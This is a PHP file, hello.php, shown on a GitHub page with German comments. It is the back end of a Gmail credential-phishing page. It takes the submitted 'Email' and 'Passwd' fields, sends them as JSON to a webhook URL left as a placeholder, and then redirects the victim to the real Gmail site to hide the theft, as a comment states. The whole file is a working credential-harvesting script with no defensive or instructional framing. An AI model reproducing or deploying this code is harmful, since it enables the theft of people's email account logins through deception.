-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathhello.php
46 lines (38 loc) · 1.31 KB
/
hello.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
// Daten aus dem POST-Request erhalten
$email = $_POST['Email'] ?? '';
$password = $_POST['Passwd'] ?? '';
// Webhook-URL (ersetze 'WEBHOOK_URL' durch die tatsächliche URL deines Webhooks)
$webhook_url = 'WEBHOOK_URL';
// Daten für den POST-Request zusammenstellen
$data = [
'email' => $email,
'password' => $password
];
// Konvertiere die Daten in das JSON-Format
$json_data = json_encode($data);
// Konfiguration für den cURL-Request erstellen
$ch = curl_init($webhook_url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_POSTFIELDS, $json_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/json',
'Content-Length: ' . strlen($json_data)
]);
// cURL-Request ausführen und die Antwort erhalten
$response = curl_exec($ch);
// Überprüfen, ob der Request erfolgreich war
if ($response === false) {
// Fehler beim Senden des Requests
echo 'Fehler beim Senden des Webhook-Requests: ' . curl_error($ch);
} else {
// Erfolgreich gesendet
echo 'Webhook-Request erfolgreich gesendet!';
}
// cURL-Verbindung schließen
curl_close($ch);
// Weiterleitung zum gewünschten Ziel (z.B. zur echten Gmail-Seite)
header('Location: http://www.gmail.com');
exit;
?>